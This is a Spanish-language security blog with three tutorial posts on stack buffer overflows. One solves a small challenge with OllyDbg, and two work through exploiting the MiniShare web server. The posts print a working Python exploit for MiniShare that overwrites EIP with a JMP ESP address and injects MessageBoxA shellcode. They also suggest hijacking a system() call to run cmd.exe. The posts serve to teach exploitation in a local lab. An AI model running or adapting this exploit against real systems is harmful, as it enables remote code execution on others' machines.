miércoles, 12 de marzo de 2014

Un pequeño desafío

Pensaba dejar de escribir por un tiempo sobre desbordamiento de buffer por no ser cansino y dar un poco más de variedad a este blog.
Pero me ha llegado desde la cuenta de twitter de @brutelogic un interesante desafío.




Explotar un posible desbordamiento de buffer en un programa con tan pocas líneas. Parece que estas vulnerabilidades no son específicas de grandes y complejos programas. El diablo acecha en los más pequeños detalles.

Me sentí tentado a aceptar el reto y me puse la primera tarde que tuve un rato a estudiar esta vulnerabilidad. Compilé el programa y lo cargué con ollydbg (según el compilador de C que se esté usando la salida la salida puede ser distinta).
Tan pocas líneas de código... tan fácil de localizar  los punton de interrupción.
Coloquemos un punto de interrupción despúes de la función scanf y ejecutemos el programa.

La primera vez introducimos los siguientes datos: 1234 y la pila tiene estos valores:






Lo copiamos al portapapeles y lo guardamos con fichero de texto.




Repetimos la operación, esta vez con el valor 12345678 lo copiamos y guardamos otro fichero.


Con una pequeña manipulación cargamos cada resultado en una hoja excel que nos será muy util para comparar los resultados. Veamos los contenidos de ls pilas en ambas ejecuciones:



La parte superior de la pila (aunque en numeración corresponde a las direcciones más bajas) es igual en ambos lados (amarillo). A continuación viene el área donde se carga la cadena de caracteres. Vemos como al aumentar el número de caracteres estos van ocupando posiciones hacia abajo en la pila.
Un poquito más abajo encontramos un valor que tiene bastante pinta de ser la dirección de retorno usada por la instrucción RET un poco más adelante en el programa.



Ponemos otro punto de interrupción en esta instrucción y volvemos a ejecutar el programa. Esta introducimos la siguiente cadena: 123456789123456789
Ejecutamos hasta la instruccion RET  y analicemos la salida.



El primerar valor de la pila es 38373635. Este valor será el que la instruccion RET llevará al EIP. Y que se corresponde con la cadena ASCII 5678
Deberemos colocar en esa posición el valor que realmente deseamos que vaya al  EIP y habremos secuestrado el programa.


Al tratarse de una prueba de concepto no vamos a complicarnos demasiado. Llevaré el control a la instrucción: 00401052.

Justo antes de printf, así que tendremos una prueba visual de que hemos alterado el flujo de programa.


Debemos de introducir los siguientes datos: 1234567891234

Y a continuación el valor hexadecimal correspondiente a la dirección  deseada Para ello usaremos el teclado numérico e introduciremos estos valores en decimas. Antes de introducir cada valor deberemos mantener pulsada la tecla Alt y una vez introducido cada valor deberemos soltarla. Así:


{Alt}136   {Alt}255   {Alt}18   {Alt}00

Y ahí lo tenemos la proxima instrucción a ejecutar es la deseada, ejecutamos paso a paso (F7)  seguimos y nos vuelve a aparecer el mensaje


Esto demuestra que hemos sido capaces del alterar el flujo del programa.

Últimas observaciones. 


Todavía quedamos lejos de tener finalizado el exploit. Ahora deberíamos de intentar sacar partido de esta vulnerabilidad.
Una vía para conseguirlo es sobreescribir el texto "clear" que es usado en la invocación a la funcion system y sustituirlo por otro valor. Por ejemplo: cmd.exe



Pero esto ya requiere un poco más de paciencia  y se sale del objetivo de este breve post. 


domingo, 2 de marzo de 2014

Buffer overflow a fondo (y III) - Inyectando código

En el anterior post ya fuimos capaces de cargar el EIP con el valor que deseamos y que será la dirección de inicio del código que inyectaremos.
La creación no es tarea trivial, requiere conocimientos de programación en lenguajes de bajo nivel y comprender muy bien toda la estructura de bibliotecas y bloques de control del sistema operativo para el que estamos desarrollando la shell code.

Nos limitaremos a cargar una shell code existente. Iremos a esta página:  http://www.exploit-db.com/ y nos situaremos en la página de búsqueda. Indicamos que queremos buscar:

Seleccionaremos esta Shell

2010-08-20 Exploit Code Downloads - Verified Windows XP SP3 English MessageBoxA Shellcode - 87 bytes 11042 windows Glafkos Charalamb.

Es una shell pequeña e inofensiva. Lo que hace es mostrar en pantalla un cuadro de diálogo. Pero es un buen ejemplo para practicar.

Nos descargamos y editamos el fichero que es un programa en C.
No dice que está probado en: Windows XP SP3 Eng
El nuestro estará en español, luego podemos tener algún problema de funcionamiento. Además se trata de una shell bastante antigua, si hemos tenido nuestro sistema actualizado también podemos tener alguna incompatibilidad.

A nosotros nos interesa realmente la shello code, el bloque de datos definido así:

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0";    // 0x7c81cb12 ; ExitProcess(0)

Llevamos esta parte de código a nuestro escript python y lo colacamos inmediatamente después de la dirección que de desbordamiento que localizamos en el post anterior, queda así:

#-------------------------------------------------------------------------------
# Name:        module1
#!/usr/bin/python
import socket

target_addr="127.0.0.1"
target_port=80
target_pag="/Bienvenida.htm"
getbuff = "GET "


# Nuestra ShellCode

getbuff+= "\x90" * 1787
#getbuff+= "\x53\x93\x42\x7E"    # Direccion encontrada 7E429353 user32
getbuff+= "\x87\xA7\xA7\x7C"    # Direccion encontrada 7CA7A787 shell32
getbuff+= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
getbuff+= "\x51\x68\x6c\x6c\x20\x20\x68\x33"
getbuff+= "\x32\x2e\x64\x68\x75\x73\x65\x72"
getbuff+= "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"    # 0x7c801d7b ; LoadLibraryA(user32.dll)
getbuff+= "\xff\xd3\xb9\x5e\x67\x30\xef\x81"
getbuff+= "\xc1\x11\x11\x11\x11\x51\x68\x61"
getbuff+= "\x67\x65\x42\x68\x4d\x65\x73\x73"
getbuff+= "\x89\xe1\x51\x50\xbb\x40\xae\x80"    #0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
getbuff+= "\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
getbuff+= "\x51\x51\x52\xff\xd0\x31\xc0\x50"
getbuff+= "\xb8\x12\xcb\x81\x7c\xff\xd0"        #0x7c81cb12 ; ExitProcess(0)

# ---------------------------------------------------------------------
getbuff+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_addr,target_port))
sock.send(getbuff)
sock.close()

Como he dicho antes, esta shell es inofensiva y la he probado antes así que vamos a saltar etapas. Arrancamos el programa minishare.exe y ejecutamos el script que contiene la shell.

Parece que funciona pues vemos como aparece el cuadro de diálogo. Damos al botón y.... algo no va todo lo bien que debía de ir pues el programa finaliza de forma anormal.

Vamos a ver que ha pasado ahora. Abrimos Ollydbg y arrancamos el minishare. Ponemos un breakpoint en la dirección que ya localizamos en el anterior post.

Volvemos a mandar el buffer maligno y el programa se para en el breakpoint. Damos a ejecutar paso a paso sin entrar en procedimientos (f8). El control del EIP para a nuestra shell, seguimos dando has que aparece el cuadro de diálogo. Respondemos y seguimos hasta llegar la instrucción xxxxxxx, respiramos y volvemos a dar F8. ¡¡¡Zas, finalización anormal!!!

El resultado casi era de esperar pues ya habíamos visto que la shell finalizaba anormalmente despues de responder al cuadro de diálogo. El programador de la shell nos ha prestado una ayuda inestimable con los comentarios.

Vamos a ver el manda de funciones con Ollydbg. Verificamos que las direcciones las funciones LoadLibraryA y GetProcAddress coinciden con las que vienen en la shell. No es así con la funcion ExitProcess que tiene está en la direccion: 0x7c81D20A

Cambiamos, en el programa python la última línea y la dejamos así:

getbuff+= "\xb8\x0a\xd2\x81\x7c\xff\xd0"        #0x7c81D20A ; ExitProcess(0)

Rearrancamos minishare.exe y lanzamos el buffer. Nuevamente llegamos al cuadro de diálogo, le damos a aceptar y ahora vemos como el programa cierra de forma normal.

Recapitulando. 

En estos tres posts he intentado explicar como explotar un desbordamiento de buffer desde cero y que se puede resumir en lo siguiente:

  • Existencia de la vulnerabilidad. Mediante el envío de cadenas los suficientemente largas. 
  • Localización del offset de la cadena que sobreescribe el EIP
  • Localización de la instrucción JMP ESP que necesitamos para transferir el control al código que inyectaremos.
  • Poner esa instrucción en el offset del buffer que sobeescribirá el EIP
  • Colocar a continuación la shell que queremos inyectar. 

Otros  conceptos que deberíamos de sacar claros de estos tres hilos son los de vulnerabilidad, explotación (exploit) y payload.

Vulnarabilidad es un error en un programa que puede llegar a comprometer la seguridad de ese programa o, incluso, del sistema donde se está ejecutando el programa vulnerable.
Cuando se ha desarrollado un exploit que permite usar esa vulnerabilidad para nuestros intereses se dice que esa vulnerabilidad es explotable y se llama exploit al elemento que nos permite explotarla.
El exploit, por sí, solo nos abre la puerta que nos permite introducir el payload que es quien nos permitirá comprometer el sistema vulnerable en nuestro beneficio.
En nuestro caso el exploit sería el programa python y la shellcode que hemos introducido sería el payload.

Buffer Overflow a fondo (II) Sobreescribiendo el EIP


lunes, 3 de febrero de 2014

Buffer overflow a fondo (II) - Sobreescribiendo el EIP

En el anterior post, teníamos localizado el desplazamiento dentro del buffer  que se cargaba en el EIP. En este post veremos que valor debemos colocar en esa ubicación para que  se ejecute nuestro código.

Sabemos que nuestro código, el que queremos inyectar, empieza en la dirección apuntada por el registro ESP (stack pointer), luego hemos de buscar una instrucción JMP ESP y esperar que cuando se ejecute ya esté nuestro código dentro de la pila. Si no fuera así, deberíamos intentarlo con otra hasta que logremos transferir el control a nuestro código.

Para empezar arrancamos Ollydbg y cargamos el programa minishare exe.

Primero vamos cuantos módulos ejecutables están dentro de nuestro proceso. Seleccionamos View -> Executable modules y se abre la ventana con todos los módulos que tenemos a nuestro alcance




Estos módulos caen dentro de una de estas categorías:


  • Programa principal.
  • DLL's del programa.
  • DLL's del sistema.

Veamos por donde atacamos. Lo primero sería intentar localizar la instrucción dentro del programa principal, pero tenemos un problema.
La dirección de inicio del programa principal es: 0x00400000. Si colocamos esta dirección dentro del buffer atacante corremos el riesgo de que el 0x00 sea interpretado como un fin de string y no logremos llevar el bloque de datos completo a la pila.

Por la misma razón hemos evitar que en las direcciones aparezcan los caractéres 0x0a y 0x0d control de carro y nueva línea respectivamente.

Busquemos entonces módulos que en su dirección base no tengan el carácter 0x00 en algun otro módulo. Nuestro programa es tan simple que carece de DLL's propias por lo que nos vemos obligados a usar una del sistema. Estos módulos empiezan todos en la direcciones altas de memoria lo que favorece a nuestros intereses.
Seleccionamos una de las más comunes user32.dll y buscamos la instrucción  JMP ESP.


Encontramos una instrucción en la dirección 0x7E429353




Pongamos un breakpoint en esa dirección del programa y llevemos ese valor al nuestro script de python. Arrancamos el programa y ejecutamos el script.
Nuestro programa se para antes de ejecutar la instrucción JMP ESP damos a ejecutar por pasos para que se ejecute el salto y.... ya tenemos al EIP apuntando a donde queremos, el inicio de nuestro buffer.



No daremos a seguir porque lo que continua no tiene sentido a nivel de código y el programa fallará como siempre.

En la siguiente entrega inyectaremos una shell code.


Buffer overflow a fondo(I)                                                   Buffer overflow a fondo(III)  Inyectando código